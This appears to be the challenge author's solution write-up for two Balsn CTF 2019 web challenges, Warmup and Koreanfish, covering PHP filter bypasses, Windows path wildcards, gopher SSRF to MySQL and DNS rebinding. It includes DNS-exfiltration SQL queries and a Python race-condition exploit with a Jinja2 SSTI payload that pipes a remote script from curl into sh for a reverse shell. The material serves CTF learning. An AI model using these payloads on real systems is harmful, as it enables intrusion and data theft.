Rating:

# Balsn CTF 2019

[中文版 Chinese Version](https://github.com/w181496/My-CTF-Challenges/blob/master/Balsn-CTF-2019/README_tw.md)

# Warmup

- Difficulty: ★★
- Type: Web
- Solved: 5 / 720
- Tag: PHP, SSRF, MySQL, Windows

## Description

Baby PHP challenge again.

![](https://i.imgur.com/jIk1rJT.jpg)

[Link](http://warmup.balsnctf.com)

## Source Code

- [Warmup](https://github.com/w181496/My-CTF-Challenges/blob/master/Balsn-CTF-2019/Warmup/index.php)

## Solution

This challenge consists of many simple and old PHP/Windows tricks.

### Step 1

In this challenge, you should refactor the code first.
(Because the source code is so ugly and hard to read :p)

After refactoring, you will get the clean code like this:

```php
―(#°ω°#)♡→'];

if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) || @strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )
exit($secret);

$ch = curl_init());
@curl_setopt($ch, CURLOPT_URL,
str_replace("%33%33%61", ">__<",
str_replace("%63%3a", "WTF", str_replace("633a", ":)",
str_repLace("433a", ":(",
str_replace("\x63:", "ggininder",
strtolower(
eval("return $_;")
))))))
);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 1);
@curl_EXEC($ch);

} else {

if(@stRLEn($op) < 4 && @($op + 78) < 'A__A') {

// There is a invisible character here. (\xe2\x81\xa3)
$_ = @$_GET['⁣'];

if((strtolower(substr($_, -4)) === '.php') ||
(strtolower(substr($_, -4)) === 'php.') ||
(stripos($_, "\"") !== FALSE) ||
(stripos($_, "\x3e") !== FALSE) ||
(stripos($_,"\x3c") !== FALSE) ||
(stripos(strtolower($_), "amp") !== FALSE))
die($secret);

if(stripos($_, "..") !== FALSE)
die($secret);

if(stripos($_, "\x24") !== FALSE)
die($secret);

print_r(substr(@file_get_contents($_), 0, 155));

} else {

die($secret);

// It is useless, because there is a die function before it. :D
system($_GET[0x9487945]);

}
}
```


### Step 2

Let's try to read the `config.php`

There are two methods:

1. use the `file_get_contents()` (Intended)
2. use the `eval()` (Unintended)


**Method 0x1**

`if(@stRLEn($op) < 4 && @($op + 78) < 'A__A')`

For this if condition, we can simply use `op=-99` to pass it.

After that, we can input our filename for `file_get_contents()` here:

`$_ = @$_GET['⁣'];`

The argument of the `$_GET` is `\xE2\x81\xA3`, it is an invisible character.


Our target is to read `config.php`, but there is some check for our filename:

We can't use the `.php`, `php.` filename suffix and we can't use `"`, `>`, `<`, `amp`, `$`, `..` in the filename.

To bypass this restriction to read the php source code, you just need to append a space character after the filename:

`config.php[SPACE]`

(Because the server is running on Windows, there are some weird path normalization rule here :p)


If you try to read the source code of `config.php` like this:

`http://warmup.balsnctf.com/?op=-99&%E2%81%A3=config.php%20`

You will get the partial content of `config.php`:

```php

We should use some special php wrapper to compress the content of `config.php` first.

And `php://filter/zlib.deflate` is your best friend!

Use `zlib.deflate` to compress the content and then decompress it by using `zlib.inflate`.

Script:

```php
") + 7;
file_put_contents("/tmp/tmp", substr($a, $idx));

echo (file_get_contents("php://filter/zlib.inflate/resource=/tmp/tmp"));
```

Now you have the `config.php`:

```php

**Method 0x2**

Many teams use the `eval()` of the first branch to read `config.php`.

In this `eval()` branch, your input `$_` will put into `eval("return $_;")`.

Here is a strict regex rule to check our input.

```php
if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) || @strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )
exit($secret);
```

But we can use `~` operator to bypass many restrictions.

Example: `~urldecode("%8D%9A%9E%9B%99%96%93%9A")` is equal to `readfile`.


In Windows, there are some **MAGIC** wildcard features for path normalization.

Example:

`>` will match one arbitrary character. (like `?` on Linux)

`<` will match zero or more arbitrary characters. (like `*` on Linux)

(more detail: [My-CTF-CheatSheet](https://github.com/w181496/Web-CTF-Cheatsheet#%E8%B7%AF%E5%BE%91%E6%AD%A3%E8%A6%8F%E5%8C%96))

Combine the `~` trick and `<` trick together:

`/?op=-9&Σ>―(%23°ω°%23)♡→=(~%8D%9A%9E%9B%99%96%93%9A)(~%9C%90%C3%C3)`

(It is same as `readfile("co<<")`)


### Step 3

The content of `config.php` tells us that the flag is in the MySQL database.
Our next target is to query MySQL Server and get the result.

And we know the user is `admin` with empty password, so we can use `gopher://` protocol to SSRF to query the MySQL Server.


Since the gopher payload is toooooo long, we should find a way to bypass the strict regex rule first.

If you try to search all PHP functions that satisfy the regex rule and length limit, you will find a useful function: `getenv()`.
This function will return the specifying header value.

Hence, we can put our gopher payload into the HTTP header:

`(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%AB)` (length: 18)

It is equal to `getenv("HTTP_T")`.


### Step 4

Now, you have a blind SSRF!

For the MySQL protocol, you can use some tools like [Gopherus](https://github.com/tarunkant/Gopherus) to create the gopher payload.

At last, you just need to use Time-based or Out-of-band (DNS log) methods to exfiltrate the query result.

- `select load_file(concat("\\\\",table_name,".e222e6f24ba81a9b414f.d.zhack.ca/a")) from information_schema.tables where table_schema="ThisIsTheDbName";`
- Output: `fl4ggg`
- `select load_file(concat("\\\\",column_name,".e222e6f24ba81a9b414f.d.zhack.ca/a")) from information_schema.columns where table_name="fl4ggg";`
- Output: `the_flag_col`
- `select load_file(concat("\\\\",hex(the_flag_col),".e222e6f24ba81a9b414f.d.zhack.ca/a")) from ThisIsTheDbName.fl4ggg;`
- Output: `42616C736E7B337A5F77316E643077735F7068705F6368346C7D`
- hex to ascii: `Balsn{3z_w1nd0ws_php_ch4l}`

## Writeups

- [movrment's writeup](https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html)

---


# 卍乂Oo韓國魚oO乂卍 (Koreanfish)

- Difficulty: ★
- Type: Web
- Solved: 15 / 720
- Tag: PHP, DNS Rebinding, Flask, Race condition, SSTI, RCE

## Description

Taiwanese people love korean fish.

[Server Link](http://koreanfish.balsnctf.com/)

[Download](https://static.balsnctf.com/koreafish/d68fcc656a04423422ff162d9793606f2c5068904fced9087edc28efc411e7b7/koreafish-src.zip)

## Source Code

- [Koreanfish](https://github.com/w181496/My-CTF-Challenges/blob/master/Balsn-CTF-2019/Koreanfish/)

## Solution

This is a white-box challenge, and all the source code are very short and simple :D


### Step 1

If you look at the source code of `index.php`, you will know the first target is to bypass IP limit.

Actually, here is a obvious DNS Rebinding vulnerability that can bypass IP limit:

```
$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
...
$dev_ip = "54.87.54.87";
if($ip === $dev_ip) {
$content = file_get_contents($dst);
```

The `file_get_contents()` will query DNS again and read the response.

If we set our domain's A record to `54.87.54.87` and `127.0.0.1`, it has some possibilities to bypass IP restriction to query internal services.

If you don't have any domain ...

Don't worry!

You can use some online DNS Rebinding services like `rbndr.us`.

e.g. `36573657.7f000001.rbndr.us` will return `54.87.54.87` or `127.0.0.1`.


### Step 2

From the dockerfile, we know there is a simple flask app running on the same server.

And there is a obvious SSTI vulnerability on `/error_page` function, it uses `render_template_string()` with controllable content.


If the `error_status` set to absolute path, then the return path of `os.path.join()` will be overwritten.

e.g. `os.path.join("/var/www/flask", "error", "/etc/passwd")` will return `/etc/passwd`


But the problem here is that you can't directly touch this `/error_page`.

Because the front-end php will check the query path, the path has to contain the string of `korea`:

`if(stripos($res['path'], "korea") === FALSE) die("Error");`


There are two ways that can bypass this path restriction:


**Method 0x1**

You can use redirect!

Using DNS Rebinding to your Server IP, Then set the path `/korea` to redirect to `127.0.0.1:5000/error_page?err=....`.

The reason is that `file_get_contents()` will follow the 302 redirect.


**Method 0x2**

Using Flask's special feature!

In the flask app, `//korea/ping` is equal to `/ping`.

Therefore, you can just use `//korea/error_page?err=....` to bypass the restriction.


### Step 3

Now, we can control the path of the content that `render_template_string()` read.

You should find a file that can be placed our controllable payload.

Because the server is running with PHP, you can use the `session.upload_progress` trick to upload your SSTI payload to the session file.

If you provide the `PHP_SESSION_UPLOAD_PROGRESS` in the multipart POST data, PHP will enable the session for you.

(The concept is same as HITCON CTF 2018 - one line php challenge: [Link](https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html).)

(Note: your payload couldn't contain `|`, because that will break the session content format.)


### Step 4

The default `session.upload_progress.cleanup` setting is `On`, so your SSTI payload will be cleaned quickly.

OK! Let's Race it!

Exploit script:

```python
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://koreanfish4.balsnctf.com/index.php'
sess_name = 'iamkaibro'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = """
{% for c in []['__class__']['__base__']['__subclasses__']() %}
{% if c['__name__'] == 'catch_warnings' %}
{% for b in c['__init__']['__globals__']['values']() %}
{% if b['__class__']=={}['__class__'] %}
{% if 'eval' in b['keys']() %}
{% if b['eval']('__import__("os")\\x2epopen("curl kaibro\\x2etw/yy\\x7csh")') %}{% endif %}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
"""

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
# print filename
while 1:
url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
print [c]

if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
```

Have a cup of coffee, then you'll see the reverse shell back. :D

For the detail of bypassing the SSTI sanitizing, you can read my cheatsheet: [Link](https://github.com/w181496/Web-CTF-Cheatsheet#flaskjinja2)

## Writeups

- [tr1ple's writeup](https://www.cnblogs.com/tr1ple/p/11682014.html#xwrEKctS)

---

Hope you like these challenges. :p

Original writeup (https://github.com/w181496/My-CTF-Challenges/tree/master/Balsn-CTF-2019#%E5%8D%8D%E4%B9%82oo%E9%9F%93%E5%9C%8B%E9%AD%9Aoo%E4%B9%82%E5%8D%8D-koreanfish).